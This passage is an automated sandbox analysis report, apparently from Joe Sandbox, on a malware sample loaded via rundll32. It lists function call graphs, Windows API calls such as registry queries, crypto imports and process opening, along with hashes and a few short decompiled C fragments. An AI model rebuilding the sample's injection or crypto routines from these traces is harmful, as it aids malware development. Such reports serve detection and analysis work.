                                            Uniqueness Score: -1.00%

                                            Function 05DEA0B6 Relevance: 1.3, APIs: 1, Instructions: 63memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,?,7711D3B0,76EC5520,?,?,?,05DD21C2,?), ref: 05DDEEDC
                                              • Part of subcall function 05DDEEA4: RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDEEF0
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF0A
                                              • Part of subcall function 05DDEEA4: RegCloseKey.KERNEL32(?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF34
                                            • HeapFree.KERNEL32(00000000,05DE7C87,00000000,?,05DE7C87,00000000,00000001,00000000,76EC4D40,?,?,?,05DE7C87,00000000), ref: 05DEA148
                                              • Part of subcall function 05DEC051: memcpy.NTDLL(?,?,00000000,?,?,?,00000000,?,?,05DE3796,00000000,00000001,-00000007,?,00000000), ref: 05DEC074
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HeapQueryValue$AllocateCloseFreememcpy
                                            • String ID:
                                            • API String ID: 1301464996-0
                                            • Opcode ID: 62af8cc27b2657ff09ba86487617684d3c91e3ba46c06068e602e49d91523783
                                            • Instruction ID: fc4533fcc35f2dd740d729b1f586fe4b45f138aaeb35736f00d8b0d183a9fbb7
                                            • Opcode Fuzzy Hash: 62af8cc27b2657ff09ba86487617684d3c91e3ba46c06068e602e49d91523783
                                            • Instruction Fuzzy Hash: 01119175B11602AFDB15EF48DC99FA97BE9EB48610F51002BF5029B280DA70DD448B20
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD5263 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                                            Download Yara Rule
                                            APIs
                                            • memcpy.NTDLL(?,05DF9344,00000018,05DDD1A4,06378E36,?,05DDD1A4,06378E36,?,05DDD1A4,06378E36,?,?,?,?,05DDD1A4), ref: 05DD5318
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memcpy
                                            • String ID:
                                            • API String ID: 3510742995-0
                                            • Opcode ID: eb427154d953285d644f9603518065df19b7aca6377b0d3b82c88ae7523a312d
                                            • Instruction ID: 72d828dfc71157102a74a3e93d22910c36db7cb89b4e7eebd33f800c6103736e
                                            • Opcode Fuzzy Hash: eb427154d953285d644f9603518065df19b7aca6377b0d3b82c88ae7523a312d
                                            • Instruction Fuzzy Hash: CF118131A61105AFDB24EF5DFC6AEA67FE5F785A2070A4027F9498B390DE316504CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD5FC9 Relevance: 1.3, APIs: 1, Instructions: 50memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,?,7711D3B0,76EC5520,?,?,?,05DD21C2,?), ref: 05DDEEDC
                                              • Part of subcall function 05DDEEA4: RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDEEF0
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF0A
                                              • Part of subcall function 05DDEEA4: RegCloseKey.KERNEL32(?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF34
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?), ref: 05DD603A
                                              • Part of subcall function 05DE0052: StrChrA.SHLWAPI(?,0000002E,00000000,?,?,00000000,05DD6025,00000000,?,00000000,?,?,?,?,?,?), ref: 05DE0064
                                              • Part of subcall function 05DE0052: StrChrA.SHLWAPI(?,00000020,?,00000000,05DD6025,00000000,?,00000000,?,?,?,?,?,?), ref: 05DE0073
                                              • Part of subcall function 05DD5DA0: CloseHandle.KERNEL32(?), ref: 05DD5DC6
                                              • Part of subcall function 05DD5DA0: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 05DD5DD2
                                              • Part of subcall function 05DD5DA0: GetModuleHandleA.KERNEL32(?,0637978E), ref: 05DD5DF2
                                              • Part of subcall function 05DD5DA0: GetProcAddress.KERNEL32(00000000), ref: 05DD5DF9
                                              • Part of subcall function 05DD5DA0: Thread32First.KERNEL32(?,0000001C), ref: 05DD5E09
                                              • Part of subcall function 05DD5DA0: CloseHandle.KERNEL32(?), ref: 05DD5E51
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandle$HeapQueryValue$AddressAllocateCreateFirstFreeModuleProcSnapshotThread32Toolhelp32
                                            • String ID:
                                            • API String ID: 2627809124-0
                                            • Opcode ID: 1443fa6df03f2c8c54c42ee34e16deb4def435558bb89ae4cb9cc02185a2bf98
                                            • Instruction ID: e288a256a56110246be459051df4653d0629e44eb3a3d2c413c4a49672669f1b
                                            • Opcode Fuzzy Hash: 1443fa6df03f2c8c54c42ee34e16deb4def435558bb89ae4cb9cc02185a2bf98
                                            • Instruction Fuzzy Hash: 40018F71B20104BF8B25DBADEC89DAFBBACEF442447000067F401A3240DA31AE41C770
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE567E Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,?,7711D3B0,76EC5520,?,?,?,05DD21C2,?), ref: 05DDEEDC
                                              • Part of subcall function 05DDEEA4: RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDEEF0
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF0A
                                              • Part of subcall function 05DDEEA4: RegCloseKey.KERNEL32(?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF34
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,00000000,05DE34FE,05DE9CDB,00000000,00000000), ref: 05DE56F4
                                              • Part of subcall function 05DE0052: StrChrA.SHLWAPI(?,0000002E,00000000,?,?,00000000,05DD6025,00000000,?,00000000,?,?,?,?,?,?), ref: 05DE0064
                                              • Part of subcall function 05DE0052: StrChrA.SHLWAPI(?,00000020,?,00000000,05DD6025,00000000,?,00000000,?,?,?,?,?,?), ref: 05DE0073
                                              • Part of subcall function 05DD3622: lstrlen.KERNEL32(05DDD8E9,00000000,?,?,?,?,05DDD8E9,00000035,00000000,?,00000000), ref: 05DD3652
                                              • Part of subcall function 05DD3622: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 05DD3668
                                              • Part of subcall function 05DD3622: memcpy.NTDLL(00000010,05DDD8E9,00000000,?,?,05DDD8E9,00000035,00000000), ref: 05DD369E
                                              • Part of subcall function 05DD3622: memcpy.NTDLL(00000010,00000000,00000035,?,?,05DDD8E9,00000035), ref: 05DD36B9
                                              • Part of subcall function 05DD3622: CallNamedPipeA.KERNEL32(00000000,00000000,?,00000010,00000028,00000001), ref: 05DD36D7
                                              • Part of subcall function 05DD3622: GetLastError.KERNEL32(?,?,05DDD8E9,00000035), ref: 05DD36E1
                                              • Part of subcall function 05DD3622: HeapFree.KERNEL32(00000000,00000000,?,?,05DDD8E9,00000035), ref: 05DD3704
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFreeQueryValuememcpy$CallCloseErrorLastNamedPipelstrlen
                                            • String ID:
                                            • API String ID: 730886825-0
                                            • Opcode ID: 44c8fd439a9f328569304077412d5d0c68b40ea7c5a400d3f8e98a023e2660a9
                                            • Instruction ID: 7bbbb36a379bbcf6ebdbbcc5e7d6a78fcad0bc02b32f2f13f39ca593fa1ed6df
                                            • Opcode Fuzzy Hash: 44c8fd439a9f328569304077412d5d0c68b40ea7c5a400d3f8e98a023e2660a9
                                            • Instruction Fuzzy Hash: 0F017C35A21204BBDB21EB99ED0AFDF7BACEF45754F00005BF601A7290DA70AA41CB75
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE6BDA Relevance: 1.3, APIs: 1, Instructions: 45COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • memset.NTDLL ref: 05DE6BF8
                                              • Part of subcall function 05DDA3BD: memset.NTDLL ref: 05DDA3E3
                                              • Part of subcall function 05DDA3BD: memcpy.NTDLL ref: 05DDA40B
                                              • Part of subcall function 05DDA3BD: GetLastError.KERNEL32(00000010,00000218,05DF327D,00000100,?,00000318,00000008), ref: 05DDA422
                                              • Part of subcall function 05DDA3BD: GetLastError.KERNEL32(00000010,?,00000000,00000318,?,?,?,?,?,?,?,?,00000010,00000218,05DF327D,00000100), ref: 05DDA505
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastmemset$AllocateHeapmemcpy
                                            • String ID:
                                            • API String ID: 4290293647-0
                                            • Opcode ID: 8202ce9670dd0efd2f809828a1e58125aa9f5b617b0d73db095b27dc1e83c348
                                            • Instruction ID: 40f8fb112bb1ce23be04c648d1771b5b21ef07dae0b17332dc5b10ca61ae1af6
                                            • Opcode Fuzzy Hash: 8202ce9670dd0efd2f809828a1e58125aa9f5b617b0d73db095b27dc1e83c348
                                            • Instruction Fuzzy Hash: 8E01FD706023086BC721EF29E804B8ABFE9EB54214F00882BFC48E6210C371E900CBB0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB723B Relevance: 1.3, APIs: 1, Instructions: 36stringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 75%
                                            			E04AB723B(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E04AB3072( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E04AB4DF6(_a8 + _a8);
					if(_t21 != 0) {
						E04AB1908(_a4, _t21, _t23);
					}
					E04AB4C73(_a4);
				}
				return _t21;
			}





                                            0x04ab7243
                                            0x04ab724a
                                            0x04ab724c
                                            0x04ab725b
                                            0x04ab7262
                                            0x04ab7271
                                            0x04ab7275
                                            0x04ab727c
                                            0x04ab727c
                                            0x04ab7284
                                            0x04ab7289
                                            0x04ab728e

                                            APIs
                                            • lstrlen.KERNEL32(?,?,?,00000000,?,04AB379D,00000000,?,?,?,04AB653D,?,056295B0), ref: 04AB724C
                                              • Part of subcall function 04AB3072: CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000018,F0000000,?,00000110,04AB58B7), ref: 04AB30AA
                                              • Part of subcall function 04AB3072: memcpy.NTDLL(?,04AB58B7,00000010,?,?,?,?,?,?,?,?,?,?,04AB564C,00000000,04AB6D90), ref: 04AB30C3
                                              • Part of subcall function 04AB3072: CryptImportKey.ADVAPI32(00000000,?,0000001C,00000000,00000000,?), ref: 04AB30EC
                                              • Part of subcall function 04AB3072: CryptSetKeyParam.ADVAPI32(?,00000001,?,00000000), ref: 04AB3104
                                              • Part of subcall function 04AB3072: memcpy.NTDLL(00000000,04AB6D90,04AB58B7,0000011F), ref: 04AB3156
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
                                            • String ID:
                                            • API String ID: 894908221-0
                                            • Opcode ID: 82fa66a64f711e66ee22aaac612757ba49d337c516831696d7155d55955546d8
                                            • Instruction ID: 5e46338c6ab6fa0640dff62f97aea430736852c818345af73571cdec6adce4ae
                                            • Opcode Fuzzy Hash: 82fa66a64f711e66ee22aaac612757ba49d337c516831696d7155d55955546d8
                                            • Instruction Fuzzy Hash: F4F05476100508BBEF116F55DD04CDB3F6DEF89255B008111FD59CA012DA72E6559BE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3B76 Relevance: 1.3, APIs: 1, Instructions: 26stringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB3B76(intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr _a16, WCHAR* _a20) {
				void* _t17;

				if(_a4 == 0) {
					L2:
					return E04AB3BBE(_a8, 1, _a12, _a16, _a20, lstrlenW(_a20) + _t14 + 2);
				}
				_t17 = E04AB78E7(_a4, _a8, _a12, _a16, _a20); // executed
				if(_t17 != 0) {
					goto L2;
				}
				return _t17;
			}




                                            0x04ab3b7e
                                            0x04ab3b98
                                            0x00000000
                                            0x04ab3bb4
                                            0x04ab3b8f
                                            0x04ab3b96
                                            0x00000000
                                            0x00000000
                                            0x04ab3bbb

                                            APIs
                                            • lstrlenW.KERNEL32(?,?,?,04AB6FE9,3D04AB90,80000002,04AB2A82,04AB744C,74666F53,4D4C4B48,04AB744C,?,3D04AB90,80000002,04AB2A82,?), ref: 04AB3B9B
                                              • Part of subcall function 04AB78E7: SysAllocString.OLEAUT32(04AB744C), ref: 04AB7900
                                              • Part of subcall function 04AB78E7: SysFreeString.OLEAUT32(00000000), ref: 04AB7941
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: String$AllocFreelstrlen
                                            • String ID:
                                            • API String ID: 3808004451-0
                                            • Opcode ID: 587ca28228c5db30f2a9aaf2642bbd7d81c45053b10a34a67c3d440c50abec87
                                            • Instruction ID: 240b6b0841779a08dce2bd74a3f62ac962fe9715b05cb38190df8fb0172094c8
                                            • Opcode Fuzzy Hash: 587ca28228c5db30f2a9aaf2642bbd7d81c45053b10a34a67c3d440c50abec87
                                            • Instruction Fuzzy Hash: 08F07F3200020ABBEF025F90DD05EDA3B6AEB28354F048014BE5454172DB72E5B1EBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB6D7F Relevance: 1.3, APIs: 1, Instructions: 23COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB6D7F(void* __edi, void* _a4) {
				int _t7;
				int _t12;

				_t7 = E04AB55D3(__edi, _a4,  &_a4); // executed
				_t12 = _t7;
				if(_t12 != 0) {
					memcpy(__edi, _a4, _t12);
					 *((char*)(__edi + _t12)) = 0;
					E04AB4C73(_a4);
				}
				return _t12;
			}





                                            0x04ab6d8b
                                            0x04ab6d90
                                            0x04ab6d94
                                            0x04ab6d9b
                                            0x04ab6da6
                                            0x04ab6daa
                                            0x04ab6daa
                                            0x04ab6db3

                                            APIs
                                              • Part of subcall function 04AB55D3: memcpy.NTDLL(00000000,00000110,?,?,?,?,04AB6D90,?,04AB58B7,04AB58B7,?), ref: 04AB5609
                                              • Part of subcall function 04AB55D3: memset.NTDLL ref: 04AB567F
                                              • Part of subcall function 04AB55D3: memset.NTDLL ref: 04AB5693
                                            • memcpy.NTDLL(?,04AB58B7,00000000,?,04AB58B7,04AB58B7,?,?,04AB58B7,?), ref: 04AB6D9B
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: memcpymemset$FreeHeap
                                            • String ID:
                                            • API String ID: 3053036209-0
                                            • Opcode ID: f5baabf818e55cf08db677d9f53549de5cca9e0683dc86cfcacb622431568ded
                                            • Instruction ID: 33aacec246e2e0804eed342cce195022dfec0442818741d43f81fcf75ee060a6
                                            • Opcode Fuzzy Hash: f5baabf818e55cf08db677d9f53549de5cca9e0683dc86cfcacb622431568ded
                                            • Instruction Fuzzy Hash: 85E0CD3390452877DB122B94DC00EEF7F5DDF496D5F044111FE4849117D631E51097E1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DECC5D Relevance: 1.3, APIs: 1, Instructions: 19COMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DECC67
                                              • Part of subcall function 05DE6278: RegOpenKeyExA.KERNEL32(05DECC7F,00000000,00000000,00020119,80000001,00000000,?,00000000,?,00000000,?,05DECC7F,80000001,?,05DE6085), ref: 05DE62BF
                                              • Part of subcall function 05DE6278: RegOpenKeyExA.ADVAPI32(05DECC7F,05DECC7F,00000000,00020019,80000001,?,05DECC7F,80000001,?,05DE6085), ref: 05DE62D5
                                              • Part of subcall function 05DE6278: RegCloseKey.KERNEL32(80000001,80000001,?,05DE6085,05DE6095,?,05DECC7F,80000001,?,05DE6085), ref: 05DE631E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Open$Closememset
                                            • String ID:
                                            • API String ID: 1685373161-0
                                            • Opcode ID: 887940abae79aea46411e19364c5ca154fb75fbdc64aed8402730900f18d6132
                                            • Instruction ID: ce43e0632a43d5e4326f21b9b5f41c3f663e7a227e500b2d16cc60e07bf905e5
                                            • Opcode Fuzzy Hash: 887940abae79aea46411e19364c5ca154fb75fbdc64aed8402730900f18d6132
                                            • Instruction Fuzzy Hash: E5E0E230240108BBDB00BA54D845FA97B69EB14260F00C02ABE0C6A292DA71EA60C6A5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE485E Relevance: 1.3, APIs: 1, Instructions: 14COMMON
                                            Download Yara Rule
                                            APIs
                                            • VirtualFree.KERNELBASE(?,00000000,00008000,00000010,?,?,?,05DF50E8,0000002C,05DDB707,06378E36,?,00000000,05DDA3F0,?,00000318), ref: 05DE4878
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FreeVirtual
                                            • String ID:
                                            • API String ID: 1263568516-0
                                            • Opcode ID: c85da8c132b3924fbaebbce06c644c4055b2e2bd0a4292c043d0be2d479a3831
                                            • Instruction ID: 68455802a4f308b09ac0326600962ae048d2ea28b305d5a3db29eef6da23d3c1
                                            • Opcode Fuzzy Hash: c85da8c132b3924fbaebbce06c644c4055b2e2bd0a4292c043d0be2d479a3831
                                            • Instruction Fuzzy Hash: 1DD01731E00229DBCF219BA8DC8A99EFB71BF08720F628225F561771D0C7301955CFA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Non-executed Functions

                                            Function 05DD5A14 Relevance: 28.7, APIs: 19, Instructions: 234stringfilesynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                              • Part of subcall function 05DE294B: ExpandEnvironmentStringsW.KERNEL32(05DDAE31,00000000,00000000,00000001,00000000,00000000,?,05DDAE31,00000000,?,?,00000000), ref: 05DE2962
                                              • Part of subcall function 05DE294B: ExpandEnvironmentStringsW.KERNEL32(05DDAE31,00000000,00000000,00000000), ref: 05DE297C
                                            • lstrlenW.KERNEL32(?,00000000,76EC69A0,?,00000250,?,00000000), ref: 05DD5A60
                                            • lstrlenW.KERNEL32(?,?,00000000), ref: 05DD5A6C
                                            • memset.NTDLL ref: 05DD5AB4
                                            • FindFirstFileW.KERNEL32(00000000,00000000), ref: 05DD5ACF
                                            • lstrlenW.KERNEL32(0000002C), ref: 05DD5B07
                                            • lstrlenW.KERNEL32(?), ref: 05DD5B0F
                                            • memset.NTDLL ref: 05DD5B32
                                            • wcscpy.NTDLL ref: 05DD5B44
                                            • PathFindFileNameW.SHLWAPI(0000001C,?,?,?,?,00000000), ref: 05DD5B6A
                                            • RtlEnterCriticalSection.NTDLL(?), ref: 05DD5BA0
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            • RtlLeaveCriticalSection.NTDLL(?), ref: 05DD5BBC
                                            • FindNextFileW.KERNEL32(?,00000000), ref: 05DD5BD5
                                            • WaitForSingleObject.KERNEL32(00000000), ref: 05DD5BE7
                                            • FindClose.KERNEL32(?), ref: 05DD5BFC
                                            • FindFirstFileW.KERNEL32(00000000,00000000), ref: 05DD5C10
                                            • lstrlenW.KERNEL32(0000002C), ref: 05DD5C32
                                            • FindNextFileW.KERNEL32(?,00000000), ref: 05DD5CA8
                                            • WaitForSingleObject.KERNEL32(00000000), ref: 05DD5CBA
                                            • FindClose.KERNEL32(?), ref: 05DD5CD5
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$Filelstrlen$CloseCriticalEnvironmentExpandFirstHeapNextObjectSectionSingleStringsWaitmemset$AllocateEnterFreeLeaveNamePathwcscpy
                                            • String ID:
                                            • API String ID: 2962561936-0
                                            • Opcode ID: 3b02d43097a43db4f7c557565282e4bb4b606fdafcb2f6403e63997cf6b956f6
                                            • Instruction ID: 1b4de9d693b12c7784ddc058d2e5207c07b8405583d41abe19a1e9f6438ed0c4
                                            • Opcode Fuzzy Hash: 3b02d43097a43db4f7c557565282e4bb4b606fdafcb2f6403e63997cf6b956f6
                                            • Instruction Fuzzy Hash: 1F815C71608306AFC710EF68EC85B1BBBE9FF88305F44482AF996D6261DB75D8448B61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD1E50 Relevance: 18.5, APIs: 12, Instructions: 519memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 05DD1E88
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 05DD1EBA
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 05DD1EEC
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 05DD1F1E
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 05DD1F50
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 05DD1F82
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 05DD1FB4
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 05DD1FE6
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 05DD2018
                                            • HeapFree.KERNEL32(00000000,?,?,?,?), ref: 05DD21AB
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?,?,?,?), ref: 05DD224F
                                              • Part of subcall function 05DEA2FF: RtlAllocateHeap.NTDLL ref: 05DEA340
                                              • Part of subcall function 05DEA2FF: memset.NTDLL ref: 05DEA354
                                              • Part of subcall function 05DEA2FF: GetCurrentThreadId.KERNEL32 ref: 05DEA3E1
                                              • Part of subcall function 05DEA2FF: GetCurrentThread.KERNEL32 ref: 05DEA3F4
                                              • Part of subcall function 05DDCDBF: RtlEnterCriticalSection.NTDLL(0637C2D0), ref: 05DDCDC8
                                              • Part of subcall function 05DDCDBF: HeapFree.KERNEL32(00000000,?), ref: 05DDCDFA
                                              • Part of subcall function 05DDCDBF: RtlLeaveCriticalSection.NTDLL(0637C2D0), ref: 05DDCE18
                                            • HeapFree.KERNEL32(00000000,?,?,?,?), ref: 05DD21F7
                                              • Part of subcall function 05DD3997: lstrlen.KERNEL32(?,00000000,76EC6980,00000000,05DE780A,?), ref: 05DD39A0
                                              • Part of subcall function 05DD3997: memcpy.NTDLL(00000000,?,00000000,?), ref: 05DD39C3
                                              • Part of subcall function 05DD3997: memset.NTDLL ref: 05DD39D2
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$CriticalCurrentSectionThreadmemset$AllocateEnterLeavelstrlenmemcpy
                                            • String ID:
                                            • API String ID: 3296958911-0
                                            • Opcode ID: 29f708819540f7d7a6cb2b4ea763885c3169aa89557fb2c48277853eb7d13d46
                                            • Instruction ID: 9774d8ba17f7b52a3d04449eebfcf2525b44913aeb1600fefa9245ebc5929476
                                            • Opcode Fuzzy Hash: 29f708819540f7d7a6cb2b4ea763885c3169aa89557fb2c48277853eb7d13d46
                                            • Instruction Fuzzy Hash: 8AF1607AB24115AFDB10EBB89C89E6FB6EDEB483407158867B902DB200DE31DE45C771
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE5830 Relevance: 16.6, APIs: 11, Instructions: 130libraryloadernativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenProcess.KERNEL32(001F0FFF,00000000,?,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000,?), ref: 05DE5863
                                            • GetLastError.KERNEL32(?,?,05DD335A,?,00000000,?), ref: 05DE5871
                                            • NtSetInformationProcess.NTDLL ref: 05DE58CB
                                            • GetProcAddress.KERNEL32(?,00000000), ref: 05DE590A
                                            • GetProcAddress.KERNEL32(?), ref: 05DE592B
                                            • TerminateThread.KERNEL32(?,00000000,?,00000004,00000000), ref: 05DE5982
                                            • CloseHandle.KERNEL32(?), ref: 05DE5998
                                            • CloseHandle.KERNEL32(?), ref: 05DE59BE
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressCloseHandleProcProcess$ErrorInformationLastOpenTerminateThread
                                            • String ID:
                                            • API String ID: 3529370251-0
                                            • Opcode ID: 7390524149c7c6374fe1df2bddcf9ce041d186a9a098b98263ff23bf793cb56d
